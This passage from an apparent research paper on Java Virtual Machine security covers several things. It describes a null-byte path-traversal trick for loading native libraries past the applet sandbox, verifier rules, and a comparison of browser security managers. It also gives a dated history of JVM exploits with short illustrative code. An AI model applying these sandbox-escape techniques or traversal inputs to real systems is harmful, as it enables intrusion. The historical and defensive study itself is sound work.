is done. However, JVM sees the name argument of the library to load is as
"../../../../../../../tmp/mylib.so". This is because in Java the zero character is treated
like any other character, but in the native code it denotes the end of the string.

The JdbcOdbc flaw allows for arbitrary libraries loading without the need for a
UniversalLinkAccess target. This condition could be theoretically exploited to execute the native
machine code outside of the applet sandbox at least in two ways. In the first one, a user class could
define a given native method that would be implemented in a dynamic library. In case when this
native method is called, the execution of the user provided native code would also start. Unfortuna-
tely, due to the fact that symbol linking cannot be done for untrusted classes, this method cannot
be used in practice to execute user provided code. But, as a result of applying the second method,
such an execute access can always be gained. This second method makes use of the fact that both
Unix and Windows based operating systems implement a feature that allows for automatic execu-
tion of some initialization function from a given library after it has successfully been loaded into
the memory space of a given process. For Unix based operating systems, this initialization function
is implemented in the .init section of the ELF binary. For Windows based operating systems, it
is the DllMain function that does that job.

The presented JdbcOdbc vulnerability could hardly be exploited alone. This is due to the fact that
the user library must be first deployed to the client system before it can actually be loaded and
executed. But when combined with the previously described Bytecode Verifier flaw present in SUN
and Netscape’s JVM implementations, this vulnerability would complement the read and write file
system access with program execution privileges.

6During this attempt, the actual search for a library file is done according to the set of predefined trusted library
paths.
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Chapter 9

JVM security implications

In this paper we presented the results of our two years long research that we have made in the field
of Java and Java Virtual Machine security. Throughout its chapters we presented general concepts
referring to the security of the Java language and the general JVM architecture. We also presented
some unpublished information about the JVM attack and vulnerabilities exploitation techniques.
This information was underpinned by a detailed discussion of some known, though unpublished
JVM vulnerabilities.

It is difficult to make any claims why both JVM vendors and Java security researchers always kept
details about specific JVM vulnerabilities in secret. It is very hard to deny, that general topic of Java
security has not been extensively discussed on public forums, at least comparing to other security
issues. There seem to be, however, one significant consequence of such a non- disclosure policy:
Java as a platform for mobile code seems to be over trusted. Users are not aware of the potential
threats that can be caused by bad implementations of Java Virtual Machine. By presenting several
new vulnerabilities in JVM implementations coming from SUN, Microsoft and Netscape we proved
that JVM is just a piece of complex software and as such it contains implementation flaws that may
become critical from the security point of view. At this moment we would like to emphasize that all
of the new vulnerabilities that we have revealed in this document concerned JVM implementation,
not its design.

During several last years, Java has got an enormous popularity. It does not also seem that it will
lose this position regardless of the Microsoft vs. Sun battle for the mobile language platform (and
especially introduction of the Microsoft’s .NET technology). Today Java Virtual Machine can be
found not only in web browsers and web application servers. It can be also found in SIM cards,
network equipment and mobile devices. As for this latter group, it is predicted that by the year
2006, every mobile phone will incorporate JVM implementation and that it will be able to run
Java applications.

We are now witnesses of a mobile and wireless technology revolution. Mobile phones are getting
similar to personal computers, both in the sense of their functionality as well as complexity. They
are part of a global network, they can also run user applications. But whatever new technology
will be introduced, one must always remember that it does not necessarily have to be perfect. In
fact, no technology is. Today, one vulnerability in JVM implementation can affect just dozens of
millions of users of web browsing software. Tomorrow, such a flaw might affect hundreds of millions
of them if it concerned mobile phones. This threat is real, since at least one example of malicious
Java code for users of iAppli, NttDocomo mobile phones technology has been recorded in the past.

We hope that throughout this paper, a new light on the Java and JVM security issues has been
put. We also hope that we managed to provide you, the reader with a solid background to the
Java/JVM security topic. If it is the case, our goal of writing this paper has been fulfilled.
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Appendix A

The Bytecode verification

This appendix presents some static and structural constraints that the code array from the Code
attribute of a given Class file must adhere to. These constraints are verified by the Bytecode Verifier
during the third pass of bytecode verification process.

The static constraints are checked for each single bytecode instruction of a given method. They
are as follows:

- The target of each jump and branch instruction (jsr, jsr w, goto, goto w, ifeq, ifne,
iflt, ifge, ifgt, ifle, ifnull, ifnonnull, if icmpeq, if icmpne, if icmplt,
if icmpge, if icmpgt, if icmple, if acmpeq, if acmpne) must point to the opcode of
an instruction from a code of a given method. This target cannot however point to the
opcode of an instruction that is modified by a wide instruction unless it points to the wide
instruction itself.
- The number of entries in the jump table of each tableswitch instruction must be consistent
with its low and high jump table operands. The value of the low operand must be less than
or equal to the value of the high operand. Additionally, each target from a jump table of a
tableswitch instruction must point to the opcode of an instruction from the code of a given
method. No target of a tableswitch instruction may point to the opcode of an instruction
that is modified by a wide instruction unless it points to the wide instruction itself.
- The number of match-offset pairs of each lookupswitch instruction must be consistent with
its npairs operand. The match-offset pairs must be sorted in increasing numerical order by
signed match value. Additionally, each target of a lookupswitch instruction must point to
the opcode of an instruction from the code of a given method. No target of a lookupswitch
instruction may point to the opcode of an instruction that is modified by a wide instruction
unless it points to the wide instruction itself.
- The operand of each ldc and ldc w instruction must be a valid constant of either int,
float, or String type.
- The operand of each ldc2 w instruction must be a valid constant of either long or double
type.
- The operand of each getfield, putfield, getstatic, and putstatic instruction must be
a valid field reference.
- The operand of each invokevirtual, invokespecial, and invokestatic instruction must
be a valid method reference.
- Only the invokespecial instruction is allowed to invoke the instance initialization method
<init>. No other method whose name begins with the character ’<’ may be called by the
method invocation instructions. In particular, the class initialization method <clinit> is
never called explicitly from Java Virtual Machine instructions, but only implicitly by the
Java Virtual Machine itself.
- The operand of each invokeinterface instruction must be a valid interface reference. The
value of the nargs operand of each invokeinterface instruction must match the number of
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arguments of the given interface method. The fourth operand byte of each invokeinterface
instruction must have the value of zero.
- The operand of each instanceof, checkcast, new, anewarray and multianewarray in-
struction must be a valid class reference.
- No anewarray instruction may be used to create an array of more than 255 dimensions.
- The new instruction cannot be used to create an array, an interface or an instance of an
abstract class.
- A multianewarray instruction must only be used to create an array of a type that has at least
as many dimensions as the value of its dimensions operand. A multianewarray instruction
is not required to create all of the dimensions of its array type. It must not however attempt
to create more dimensions than it is defined in the array type. The dimensions operand of
each multianewarray instruction must not be zero.
- The atype operand of each newarray instruction must indicate either boolean, char,
float, double, byte, short, int or long type.
- The implicit index of each iload, fload, aload, istore, fstore, astore, wide, iinc
and ret instruction must reference a valid local variable of a given method, thus it must be
from the index range 0 to max locals-1.
- The implicit index of each iload <n>, fload <n>, aload <n>, istore <n>, fstore <n>
and astore <n> instruction must reference a valid local variable of a given method, thus it
must be from the index range 0 to max locals-1.
- The index operand of each lload, dload, lstore and dstore instruction must reference a
valid local variable of a given method, thus it must be from the index range 0 to max locals-2.
- The implicit index of each lload <n>, dload <n>, lstore <n> and dstore <n> instruction
must reference a valid local variable of a given method, thus it must be from the index range
0 to max locals-2.

As for the structural constraints, they specify constraints on relationships between Java Virtual
Machine instructions. They are also checked for each single bytecode instruction of a given method
and they are as follows:

- For each instruction, its operand stack and local variables must contain appropriate type and
number of arguments, regardless of the execution path that leads to the invocation of this
instruction. If the instruction is allowed to operate on values of type int, it is also permitted
to operate on values of type byte, char and short.
- At any given point in the program, no matter what code path is taken to reach that point,
the operand stack must always contain the same number of items.
- At no point in the program, the words of a two-word type (long or double) can be operated
on individually. Additionally, these words can neither be reversed nor split up during the
execution of a program.
- No local variable (or local variable pair, in the case of a two-word type) can be accessed
before it is assigned a value.
- At no point during program execution can the operand stack grow to contain more than the
maximum allowed number of items.
- At no point during program execution can more words be popped from the operand stack
than the number of items that are actually there.
- Each invokespecial instruction must be only used for the invocation of either instance
initialization method <init>, a method in the current class, a private method, or a method
in a superclass of the current class.
- Upon the invocation of an instance initialization method <init>, an uninitialized class in-
stance must be in an appropriate location on the operand stack. The <init> method must
never be invoked on an initialized class instance.
- An instance method may be only invoked for the initialized instance of the class that contains
it.
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- No instance variable can be accessed, before the class instance that contains it gets initiali-
zed1.
- There must never be an uninitialized class instance on the operand stack or in a local variable
when any backwards branch is taken. There must never be an uninitialized class instance in
a local variable in code protected by an exception handler or a finally clause. However, an
uninitialized class instance may be on the operand stack in code protected by an exception
handler or a finally clause. When an exception is thrown, the contents of the operand stack
are discarded.
- Each instance initialization method, except for the instance initialization method of class
java.lang.Object, must call either another instance initialization method of the current
class or an instance initialization method of its immediate superclass before any of its instance
variables are accessed.
- The arguments to each invoked method must be compatible with the corresponding method
descriptor.
- An abstract method must never be invoked.
- Each return from a given method must be done according to its declared return type. If the
method returns a byte, char, short or int, only the ireturn instruction may be used
for that purpose. Respectively, if the method returns a float, long or double, only an
freturn, lreturn or dreturn instruction, may be used. If the method returns a reference
type, it must do so using an areturn instruction, and the returned value must be assignment
compatible with the method’s return descriptor. All instance initialization methods, static
initializers, and methods declared to return void must only use the return instruction.
- If a protected field of a superclass is accessed with the use of getfield or putfield instruc-
tions, then the type of the class instance being accessed must be the same as or a subclass
of the current class. If invokevirtual is used to access a protected method of a superclass,
then the type of the class instance being accessed must be the same as or a subclass of the
current class.
- Each getfield or putfield instruction may be only used for accessing a class instance that
is of the class type or a subclass of the class type declared in a corresponding field descriptor.
- The type of every value stored by a putfield or putstatic instruction must be compatible
with the descriptor of the field of the class instance or class being stored into. If the descriptor
type is byte, char, short or int, then the value must be an int. If the descriptor type is
float, long or double, then the value must be a float, long or double, respectively. If
the descriptor type is a reference type, then the value must be of a type that is assignment
compatible with the descriptor type.
- Each aastore instruction may be only used for storing reference values into an array. The
type of stored references must be assignment compatible with the component type of the
array.
- Each athrow instruction must only throw values that are instances of class or subclass of the
java.lang.Throwable class.
- Execution must never fall off the last instruction of the code.
- No return address (a value of type returnAddress) may be loaded from a local variable onto
the operand stack. However, the opposite is allowed as the values of return addresses can be
stored into local variables from the operand stack.
- The return to the instruction following each jsr or jsr w instruction may be only done with
the use of a single ret instruction.
- No jsr or jsr w instruction may be used to recursively call a subroutine that is already
present in the subroutine call chain.
- The return to each instance of type returnAddress may be done only once. If a ret instruc-
tion returns to a point in the subroutine call chain above the ret instruction corresponding
to a given instance of type returnAddress, then that instance can never be used as a return
address.

1This constraint is no more required in JVM 2nd Edition.
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Appendix B

Comparison of Security Manager Implementations

Implementation specifics
Method name Purpose Netscape Communicator Internet Explorer
checkCreateClassLoader Check to prevent

the installation of
additional Class
Loaders

The access is allowed if either:
- PrivilegeManager is not
set in the Security Mana-
ger object,
- MarimbaInternal target is
enabled,
- the class for which the
check is done was created
by the system Class Lo-
ader.

The access is allowed if Per-
missionID.SYSTEM is ena-
bled for the given class
and it is a subclass of ja-
va.lang.ClassLoader

CheckAccess Check to see if a
thread or thread
group can modify
the thread group.

The access is allowed if either:
- PrivilegeManager is not
set in the Security Mana-
ger object,
- UniversalThreadAccess
target is enabled,
- the class for which the
check is done belongs to
the given applet’s thread
group or it was created by
the system Class Loader.

The access is allowed if Per-
missionID.THREAD is ena-
bled for the given class
and it is a subclass of Ja-
va.lang.Thread or
com.ms.debug.Debugger

CheckExit Checks if the Exit
command can be
executed.

The access is allowed if either:
- PrivilegeManager is not
set in the Security Mana-
ger object,
- UniversalExitAccess tar-
get is enabled.

The access is allowed if Per-
missionID.SYSTEM is ena-
bled for the given class.

checkExec Checks if the sys-
tem commands
can be executed.

The access is allowed if either:
- PrivilegeManager is not
set in the Security Mana-
ger object,
- UniversalExecAccess tar-
get is enabled.

The access is allowed if Per-
missionID.EXEC is enabled
for the given class.
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Implementation specifics
Method name Purpose Netscape Communicator Internet Explorer
checkLink Checks if dyna-

mic libraries can
be linked (used
for native code).

The access is allowed if either:
- PrivilegeManager is not
set in the Security Mana-
ger object,
- UniversalLinkAccess tar-
get is enabled.

The access is allowed if Per-
missionID.SYSTEM is ena-
bled for the given class
and it is a subclass of ja-
va.lang.System or ja-
va.lang.Runtime

checkRead Checks if a file
can be read from

The access is allowed if either:
- PrivilegeManager is not
set in the Security Mana-
ger object,
- UniversalFileRead or Fi-
leRead target is enabled,
- The applet’s codebase po-
ints to the local file sys-
tem’s directory that con-
tains the requested file ,
- PrivilegeManager is set
in the Security Manager
object and MarimbaApp-
Context target is enabled.

The access is allowed if Per-
missionID.FILEIO is ena-
bled for the given class and
that the associated FileIO-
Request object has READ
access type.

CheckWrite Checks if a file
can be written to.

The access is allowed if either:
- PrivilegeManager is not
set in the Security Mana-
ger object,
- UniversalFileWrite or Fi-
leWrite target is enabled,
- the applet’s codebase po-
ints to the local file sys-
tem’s directory that con-
tains the requested file,
- PrivilegeManager is set
in the Security Manager
object and MarimbaApp-
Context target is enabled.

The access is allowed if Per-
missionID.FILEIO is ena-
bled for the given class and
that the associated FileIO-
Request object has WRITE
access type.

checkConnect Checks if a ne-
twork connection
can be created.

The access is allowed if either:
- the class for which the
check is done was created
by the system Class Lo-
ader, PrivilegeManager is
not set in the Security
Manager object or Uni-
versalConnect target is
enabled,
- NETWORK UNRESTR
ICTED mode is set for
applet,
- connection is done to the
same host as specified in
the applet’s codebase .

The access is allowed if Per-
missionID.NETIO is ena-
bled for the given class and
that the associated NetIO-
Request object has CON-
NECT access type
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Implementation specifics
Method name Purpose Netscape Communicator Internet Explorer
CheckListen Checks if a cer-

tain network port
can be listened to
for connections.

The access is allowed if either:
- PrivilegeManager is not
set in the Security Mana-
ger object,
- UniversalListen target is
enabled,
- The port to listen is not
from a privileged port
range (it has a value abo-
ve 1024) .

The access is allowed if Per-
missionID.NETIO is ena-
bled for the given class and
that the associated NetIO-
Request object has LISTEN
access type.

checkAccept Checks if a ne-
twork connection
can be accepted.

The access is allowed if either:
- PrivilegeManager is not
set in the Security Mana-
ger object,
- UniversalAccept target is
enabled,
- The listening port is not
from a privileged port
range (it has a value abo-
ve 1024),
- The class for which the
check is done was created
by the system Class Lo-
ader, PrivilegeManager is
not set in the Security
Manager object or Uni-
versalConnect target is
enabled,
- NETWORK UNRESTR
ICTED mode is set for
applet,
- The to be accepted con-
nection is coming from
the same host as specified
in the applet’s codebase.

The access is allowed if Per-
missionID.NETIO is ena-
bled for the given class
and that the associated Ne-
tIORequest object has AC-
CEPT access type.

checkPropertiesAccess Checks if the Sys-
tem properties
can be accessed
for writing.

The access is allowed if either:
- PrivilegeManager is not
set in the Security Mana-
ger object,
- UniversalPropertyWrite
target is enabled .

The access is allowed if Per-
missionID.PROPERTY is
enabled for the given class
and it is a subclass of the ja-
va.lang.System, ja-
va.lang.Boolean,
java.lang.Integer or ja-
va.lang.Long. Additionally
the associated PropertyAc-
cessRequest object must ha-
ve ALL access type.

checkPropertyAccess Checks if the Sys-
tem properties
can be accessed
for reading.

The access is allowed if either:
- PrivilegeManager is not
set in the Security Mana-
ger object,
- UniversalPropertyRead
target is enabled .

The access is allowed if Per-
missionID.PROPERTY is
enabled for the given class
and it is a subclass of the ja-
va.lang.System, ja-
va.lang.Boolean,
java.lang.Integer or ja-
va.lang.Long. Additionally
the associated PropertyAc-
cessRequest object must ha-
ve INDIVIDUAL access ty-
pe.
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Implementation specifics
Method name Purpose Netscape Communicator Internet Explorer
checkTopLevelWindow Checks whe-

ther a win-
dow must ha-
ve a special
warning.

The access is allowed if either:
- PrivilegeManager is not set
in the Security Manager ob-
ject,
- UniversalTopLevelWindow
target is enabled.

The access is allowed if Permis-
sionID.UI is enabled for the gi-
ven class and that the associated
UIAccessRequest object has AL-
LOW TOPLEVELWINDOW ac-
cess type.

checkPackageAccess Checks if a
certain packa-
ge can be ac-
cessed.

The access is allowed if either:
- PrivilegeManager is not set
in the Security Manager ob-
ject,
- UniversalPackageAccess tar-
get is enabled,
- the class for which the check
is done was created by the
system Class Loader,
- There is no appropriate pac-
kage.restrict.access property
set for a given package.

The access is allowed if the acces-
sed package is not on the restricted
packages’ definition list stored in a
RestrictAccess registry key (under
Software\Microsoft\Java
VM\Security\Default Applet Per-
missions).

checkPackageDefinition Checks if a
new class can
be added to a
package.

The access is allowed if either:
- PrivilegeManager is not set
in the Security Manager ob-
ject,
- UniversalPackageDefinition
target is enabled,
- the class for which the check
is done was created by the
system Class Loader,
- There is no appropriate pac-
kage.restrict.definition pro-
perty set for a given package.

The access is allowed if the defined
package is not on the restricted pac-
kages’ definition list stored in a Re-
strictDefinition registry key (under
Software\Microsoft\Java
VM\Security\Default Applet Per-
missions).

checkSetFactory Check if an
Applet can set
a networking-
related object
factory

The access is allowed if either:
- PrivilegeManager is not set
in the Security Manager ob-
ject,
- UniversalSetFactory target is
enabled.

The access is allowed if Permissio-
nID.SYSTEM is enabled for the gi-
ven class.
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Appendix C

The Brief History of Java Bugs

This appendix presents some past security-related bugs that were found in SUN, Microsoft and
Netscape’s JVM implementations.

DNS spoofing attack (February, 1996)

In this attack, applets were erroneously allowed to establish network connections to arbitrary hosts.
This was due to a flaw in the way Security Manager’s checks were done on DNS responses received
from bogus DNS servers. An attacker could exploit this vulnerability by returning a specially
crafted DNS response for the DNS query issued by an applet that was attempting a connection
request. In this case, Security Manager’s checks were only verifying whether a given IP address
from which the applet code was obtained was in the list of IP addresses returned in the DNS
response. Unfortunately, it did not verify whether this address was the first on the returned list
and whether it could be actually resolved to the same DNS name as in the host value of the applet’s
CODEBASE property.

The DNS spoofing attack was discovered by Drev Dean, Ed Felten and Dan Wallach of the Prin-
ceton Secure Internet Programming (SIP) team. It affected both SUN and Netscape JVM’s. The
fix for it was included in Netscape Navigator 2.01 and JDK 1.01.

Class Loader implementation bug (March, 1996)

In this attack, it was possible to load an untrusted, user-defined class file as if it was a trusted
code. The vulnerability resulted from the fact that fully- qualified class names could begin with a
backslash. In such a case, JVM was loading a given class file from the absolute location denoted by
the class name, rather than from a CLASSPATH location. For the purpose of the attack, user class
file was usually put in the Navigator’s disk cache1. In a result of loading such a user-defined class,
Java type safety could be completely defeated. This was due to the fact that class files obtained
from a local file system were treated as fully trusted and that they were not subject to the bytecode
verification.

The Class Loader implementation bug was discovered by David Hopwood of Oxford University. It
affected both SUN and Netscape JVMs and was fixed in Netscape Navigator 2.02 and JDK 1.02.
1The name of a class file and cache directory could be easily predicted at this version of Netscape Navigator.
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Bytecode Verifier bug (March, 1996)

As a result of this flaw, subclasses of some security critical classes could be created by untru-
sted code. This specifically considered creating the subclasses of java.lang.SecurityManager and
java.lang.ClassLoader classes. The standard protection mechanism that is used to prevent from
creating objects of these classes rely on the fact that proper Security Manager checks are always
invoked from within the constructors of the base classes. But due to the flaw in the Bytecode Veri-
fier it was however possible to create partially uninitialized objects of the aforementioned classes.
The following Java code illustrates how it could be accomplished:

class Buggy extends someSecurityCriticalClass {
Buggy() {
try { super(); }

catch (Exception e) {}
}

}

Although, the above code is illegal according to the Java language specification, its corresponding
bytecode was allowed by the Bytecode Verifier. If a subclass of java.lang.ClassLoader object
was created with the use of the presented code sequence, this condition could be further exploited
to perform standard Class Loader attack and to completely beat the Java type safety.

The Bytecode Verifier bug was discovered by the Princeton SIP Team. It affected both SUN and
Netscape JVM implementations. The fix for it was included in Netscape Navigator 2.02 and JDK
1.02. The idea behind the fix was to monitor the state of objects initialization process (specifically
the execution of their constructors) with the use of a private boolean variable that was added to
java.lang.SecurityManager and java.lang.ClassLoader classes. Through proper use of assign-
ment operations in the security-critical class’ constructor, the state of object initialization process
could be reflected in the variable’s value as described in chapters about Class Loader and Security
Manager objects included in this paper.

Hostile applets (April, 1996)

In 1996, Mark LaDue published information along with example codes for some denial of service
attacks that could be performed by applets. These attacks were mainly causing browsers to run out
of resources or to lock them up. Although they were much of a nuisance than a real threat, they
caught world’s attention to Java security issue as this was the first time when codes illustrating
some Java security related vulnerabilities were ever published. The example codes were written
mainly for Netscape Navigator 3.0.

Among many of the presented attacks, applet fork bombs, applet killers and applets filling the
screen with garbage windows were the most annoying ones.

The variant of Class Loader attack (May, 1996)

Tom Cargill discovered a flaw in the way private methods were implemented in SUN and Netscape’s
JVMs. The Cargill’s attack was based on the fact that all methods declared in an interface were
public and that a class was allowed to implement an interface by inheriting a private method from
its parent. This could be exploited to completely circumvent the protection mechanism of Java
classes. Specifically, it was possible to call under certain conditions a private method from the
superclass of a given class.
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The flaw found by Tom Cargill could be also used to circumvent the fix for the Bytecode Verifier
bug from March. This was due to the fact that in this fix, Class Loader’s security was primarily
based on whether initialization of a private boolean variable from the java.lang.ClassLoader
class actually took place. As this variable’s initialization was done from within a private method
the fix could be obviously circumvented.

The actual fix for this new variant of a Class Loader attack was implemented in Netscape Navigator
3.0. In a result of the fix, a revised version of the java.lang.ClassLoader class was included into
SUN and Netscape’s JVM implementations.

Illegal type cast attack (June, 1996)

David Hopwood found vulnerability in JDK 1.02, Navigator 2.02 and Internet Explorer 4.0 beta 1.
The vulnerability resulted from the fact that both in SUN and Microsoft’s JVM implementations
classes were compared on a name only basis, instead of comparing them with regard to their name
and containing namespace (Class Loader). In a result of such a behavior, classes created in different
namespaces, having the same name but different definitions could be confused.

In order to perform the attack, two cooperating applet instances, A and B, were required. In
applet A, class C was created and the same was done in applet B. Although the names of created
classes were the same, their definitions were however not identical. Specifically, each of them had
a different notion of what type the var field actually was:

C class definition seen in A: C class definition seen in B:

class C { class C {
Object var; int var;

} }

In David Hopwood’s attack, class C was chosen to be a subclass of the java.io.PrintStream class.
In the attack itself, an instance of class C was passed from applet A to applet B, with the use of
out - public, non-final variable of the java.lang.System class. This operation was done in order
to cross the barriers between two different namespaces. When out variable was later referenced
from applet B, a different notion of class C was obtained. And more importantly, a different notion
of what the actual type of the var field was, was obtained. This was due to the fact that different
definitions for class C were used by each of the applets as they were defined in different Class
Loaders. This situation obviously leaded to the standard type confusion attack. The vulnerability
that was the real cause of it was fixed in JDK 1.1, Navigator 3.0 and Internet Explorer 4.0.

Virtual machine bug (March, 1997)

SUN discovered vulnerability in their own implementation of the Java Virtual Machine. Although,
the identified flaw was described as complex and difficult to exploit, no details were released to the
public with regard to it. The fix for this vulnerability was included in the update to JDK 1.02.

Signing flaw (April, 1997)

The Princeton Java security team found a flaw in the Java code-signing scheme that affected JDK
1.1 and HotJava web browser. This flaw could be exploited by a malicious signed applet in order
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to increase its set of privileges. The vulnerability stemmed from the fact that the getSigners
method of the java.lang.Class returned the original array of a given class’ signers, instead of
only returning the copy of this array. In a result of such an implementation of the getSigners
method, signed applets could modify the contents of the returned array. Specifically, they could
add a trusted principal to the list of signers of a given class. And if that was the case, a given class
for which trusted principal was added, was treated as a trusted one. Specifically, it could make use
of all of the privileges granted to the trusted principal. For Netscape Navigator, such a privilege
elevation attack usually leaded to complete bypass of the applet sandbox restrictions.

The signing flaw was fixed by SUN in JDK 1.1.2 and consecutive version of their HotJava web
browser.

Kimera project Bytecode Verifier bugs (May-June, 1997)

A team of researchers at the University of Washington developed a Java verification system (the
Kimera project), which was further used for finding several flaws in SUN and Microsoft’s Bytecode
Verifier’s implementations. There were actually 24 flaws found in SUN’s implementation and 17
in Microsoft’s one. The most serious flaw was identified in both Bytecode Verifiers. It allowed
performing illegal cast operations from numbers to object references.

The fix for all of the Bytecode Verifier’s vulnerabilities found in a result of the Kimera project
were included in JDK 1.1 and Internet Explorer 4.0.

Princeton Class Loader attack (July, 1998)

In this attack two independent vulnerabilities were actually used. The first vulnerability, found by
Mark LaDue allowed for the creation of subclasses of the AppletClassLoader class. The second
vulnerability, found by the Princeton SIP team, allowed overwriting definitions of some system
classes and java.lang.Throwable class in particular. When these two flaws were combined to-
gether they could be used to perform a type confusion attack. However successful exploitation of
these two flaws was only possible under Netscape Navigator 4.0x.

Although the vulnerability found by Mark LaDue allowed creating Class Loader objects, this
condition could not be exploited with the use of standard class loader attack. This was primarily
due to the fact that protected loadClass method of the AppletClassLoader class was marked
final. The Princeton team however found a way to exploit it. Particularly, they made use of the
silent assumption that was done by exception handlers (and Bytecode Verifier itself) about the
java.lang.Throwable type. This specifically considered the fact that exception handlers always
expected an instance of a subclass of java.lang.Throwable class at the top of the stack before
the start of exception handler’s dispatch.

The Princeton team managed to perform a type confusion attack with the use of Class Loader
object and exceptions. Specifically, they used two Class Loader objects for that purpose. In one of
them, say CL1, they defined a Dummy class that was a subclass of java.lang.Throwable:

Dummy extends java.lang.Throwable {
}

But before doing that, in the same Class Loader object, they defined java.lang.Throwable with
the use of the following definition:

Throwable {
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int num;
}

Such on overwriting of a system class definition was possible due to the nature of the flaw found.
Specifically, the fact that local classes cache of java.lang.ClassLoader class was looked up for
the requested class before calling findSystemClass method was used.

In the second Class Loader object (CL2), class Dummy was also defined but with the use of a slightly
different definition than that from Class Loader CL1:

Dummy extends java.lang.Throwable {
java.lang.Object obj;
}

As for the java.lang.Throwable class, its standard system definition was used in CL2.

The attack performed by the Princeton team proceeded in several steps. First, from within an
Attack object defined in Class Loader CL1, an instance of an arbitrary class Hack defined in Class
Loader CL2 was created. The corresponding new instruction that was used for its creation was
embedded into a proper try/catch block catching any instances of java.lang.Throwable class.
From within a constructor of the created Hack class object, an instance of the Dummy exception
was later thrown. This exception was caught by the try/catch clause of the Attack object. But
as the Attack object was defined in a different namespace than the Dummy exception, it had a
different notion of the java.lang.Throwable class. Specifically, from within the Attack object,
java.lang.Throwable class was seen as if it had one num variable of the int type. However, in
the CL2 namespace, java.lang.Throwable class did not have any variables defined. But due to
the fact that a thrown exception was of the Dummy class, in the place (memory offset) where it had
obj variable, CL1 saw num variable:

Field
offset

Class in CL1 namespace Class in CL2 namespace Field type in CL1
namespace

Field type in CL2
namespace

0 java.lang.Throwable java.lang.Throwable none java.lang.Object
0 Dummy Dummy int None

In a result of confusing types of the obj and num variables a classic type confusion attack has been
recreated, which could be further exploited to escalate applet’s privileges.

The Class Loader problem identified by Mark LaDue was corrected in Netscape Navigator 4.5. The
vulnerability found by Princeton team was corrected in all consecutive implementations of JVM
from Sun, Microsoft and Netscape. In a result of a fix for it, a check was added to Java 2 SDK,
v1.2 to make sure that for each class C:

FindClassFromClass("java/lang/Throwable", C) == [the system java.lang.Throwable class]

Verifier Bug (March, 1999)

Karsten Sohr of the University of Marburg found a bytecode sequence that could be used to perform
illegal casts from one object type to any other unrelated type. More detailed description of this
vulnerability can be found in the proper chapter of this paper.

The discovered flaw affected only JDK 1.1.x 1.2 and Netscape Navigator 4.0-4.5. It was corrected
in Netscape Navigator 4.51 and consecutive versions of SUN’s JDK.
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Unverified code (April, 1999)

Paul Haar of Jive technologies found a way to construct unverified classes. The actual details
concerning this attack have never been published. The flaw affected SUN’s JVM implementation
that was included in JDK 1.1 to 1.1.7. This vulnerability was corrected in JDK 1.1.8.

Race condition in class loading (August, 1999)

Drew Dean at Xerox PARC and Dan Wallach at Rice University have discovered serious securi-
ty vulnerability in Microsoft’s Java Virtual Machine implementations that were distributed with
Internet Explorer 4 and 5. The flaw allowed for the creation of a malicious applet that could com-
pletely bypass applet sandbox restrictions. The flaw was a programming error (a race condition) in
the Microsoft’s implementation of the applet Class Loader (com.ms.vm.loader.URLClassLoader
class). It stemmed from the fact that it was possible to throw ThreadDeath exception during the
execution of the loadClass method of the applet Class Loader while it was doing a call to the
findSystemClass method. In a result, it was possible to abnormally interrupt the process of class
loading in a point where a search for a given system class was done. However, due to bad applet
Class Loader implementation, it was possible to proceed with class loading regardless of the fact
that this process was interrupted by an exception. By properly exploiting this condition, it was
possible to force applet Class Loader to load user definition of a system class. In a result of this
attack, system classes could be spoofed by users and their functionally could be changed in such a
way so that no security checks were done before invoking their security critical functionality.

Verifier Bug (October, 1999)

Karsten Sohr found another Bytecode Verifier problem, but this time in Microsoft’s JVM imple-
mentation. He identified the bytecode sequence that was erroneously allowed to pass through the
verifier’s checks and could be used to perform illegal casts from one object type to any other unre-
lated type. More detailed description of this vulnerability can be found in the proper chapter of
this paper.

The discovered flaw affected Microsoft’s Internet Explorer 4.x and 5.0. It was corrected in Internet
Explorer 5.5 and the consecutive version of Microsoft’s JVM.

VM reading vulnerability (February, 2000)

Hideo Nakamura of NEC Japan found security vulnerability in the Microsoft JVM implementation
that was shipped with Internet Explorer 4.x and 5.x web browser. This security vulnerability could
allow a Java applet to operate outside the bounds set by the applet sandbox. Specifically, it could
allow reading files from the computer of a person who visited a web site with malicious content.
The exact location of the files to read would need to be known for proper exploitation of this
vulnerability.

Brown Orifice exploit (August, 2000)

Dan Brumleve found two vulnerabilities in Sun and Nestcape’s implementations of JVM. The
first vulnerability stemmed from the fact that java.net.ServerSocket and java.net.Socket
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classes were erroneously implemented. Specifically, their open/close methods were treated as
trustable and they were not checked with the Security Manager, even though these methods might
have been overloaded. This allowed an applet to create instances of java.net.ServerSocket and
java.net.Socket classes. In a result, the exploit applet could communicate with hosts other than
its origin server as well as it could become a server on a local port. The following code illustrates
the way in which network servers could be created:

public class BOServerSocket extends ServerSocket {
public BOServerSocket(int port) throws IOException {
super(port);
}

public BOSocket accept_any() throws IOException {
BOSocket s = new BOSocket();
try { implAccept(s); } catch (SecurityException se) { }
return s;
}
}

The second flaw that was identified allowed an applet to read files on the client machine. It was cau-
sed by the way Security Manager’s checks were done when URLInputStreams or URLConnections
were opened. Specifically, Security Manager could be tricked to think that an applet had proper
privileges to open the connection. This could be accomplished by presenting it with a file://
URL specifying a local path and by properly defining the subclasses of URLConnection and
URLInputStream classes:

public class BOURLConnection extends URLConnection {
public BOURLConnection(String u) throws MalformedURLException {
super(new URL(u));
connected = true;
}

public BOURLConnection(URL u) {
super(u);
connected = true;
}
}

public class BOURLInputStream extends URLInputStream {
public BOURLInputStream(URLConnection uc) throws IOException {
super(uc);
open();
}
}

The Brown Orifice issues affected Netscape Navigator and Communicator in versions 4.0-4.74. The
fix for it was incorporated into Netscape Navigator and Communicator 4.75.

Microsoft VM ActiveX Component (October, 2000)

Security vulnerability was found in the Microsoft JVM implementation that was shipped with
Internet Explorer 4.x and 5.x web browser. This security vulnerability could allow a Java applet
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distributed via a malicious web site to take any desired action on a visiting user’s machine. The
vulnerability stemmed from the fact that it was possible to create and run any desired ActiveX
control (even the one that was marked as unsafe for scripting) from within an ordinary Java applet
regardless of the fact that such a possibility should be only limited to stand-alone Java applications
or digitally signed applets.

Potential Security Issue in Class Loading (November, 2000)

Potential security issue in class loading was identified in SUN’s JDK 1.1.x and 1.2.x releases. The
flaw created a possibility to allow an untrusted class to call into a disallowed class under certain
circumstances. The actual details concerning this attack have been never published by SUN.

Bytecode Verifier bug (March, 2002)

Trusted Logic S.A found Bytecode Verifier vulnerability in SUN and Netscape’s JVM implementa-
tions. In a result of the vulnerability found, illegal casts from one object type to any other unrelated
type could be performed. More detailed description of this vulnerability can be found in the proper
chapter of this paper.

The discovered flaw affected all JDK versions from 1.1 to 1.3 as well as all Netscape Navigator and
